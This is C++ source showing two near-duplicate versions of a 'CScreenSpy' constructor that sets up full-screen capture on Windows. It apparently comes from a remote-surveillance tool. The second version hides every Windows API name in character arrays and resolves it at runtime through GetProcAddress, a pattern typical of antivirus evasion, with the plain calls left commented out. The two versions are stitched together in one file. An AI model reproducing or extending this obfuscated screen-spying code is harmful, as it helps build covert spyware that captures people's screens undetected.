CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
if (!SelectInputWinStation())
{
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
}
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
::SelectObject(m_hFullMemDC, m_hFullBitmap);
::SelectObject(m_hLineMemDC, m_hLineBitmap);
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// 足够了
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_rectBufferOffset = 0;
}
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
char DYrEN66[] = {'G','e','t','D','C','\0'};
GetDCT pGetDC=(GetDCT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN66);
char DYrEN67[] = {'G','e','t','D','e','s','k','t','o','p','W','i','n','d','o','w','\0'};
GetDesktopWindowT pGetDesktopWindow=(GetDesktopWindowT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67);
if (!SelectInputWinStation())
{
m_hDeskTopWnd = pGetDesktopWindow();
m_hFullDC = pGetDC(m_hDeskTopWnd);
}
m_dwBitBltRop = SRCCOPY;
char DYrEN68[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'};
GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN68);
char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法
m_dwLastCapture = pGetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
// m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
// m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_nFullWidth = pGetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = pGetSystemMetrics(SM_CYSCREEN);
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
char DYrEN75[] = {'C','r','e','a','t','e','C','o','m','p','a','t','i','b','l','e','D','C','\0'};
CreateCompatibleDCT pCreateCompatibleDC=(CreateCompatibleDCT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN75);
// m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
// m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
// m_hLineMemDC = ::CreateCompatibleDC(NULL);
// m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_hFullMemDC = pCreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = pCreateCompatibleDC(m_hFullDC);
m_hLineMemDC = pCreateCompatibleDC(NULL);
m_hRectMemDC = pCreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'};
CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72);
// m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
// m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
// m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
m_hLineBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
m_hFullBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
m_hDiffBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'};
SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80);
// ::SelectObject(m_hFullMemDC, m_hFullBitmap);
// ::SelectObject(m_hLineMemDC, m_hLineBitmap);
// ::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
pSelectObject(m_hFullMemDC, m_hFullBitmap);
pSelectObject(m_hLineMemDC, m_hLineBitmap);
pSelectObject(m_hDiffMemDC, m_hDiffBitmap);
char DmDjm02[] = {'S','e','t','R','e','c','t','\0'};
SetRectT pSetRect=(SetRectT)GetProcAddress(LoadLibrary("USER32.dll"),DmDjm02);
// ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
pSetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
// 足够了
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
m_rectBufferOffset = 0;
}
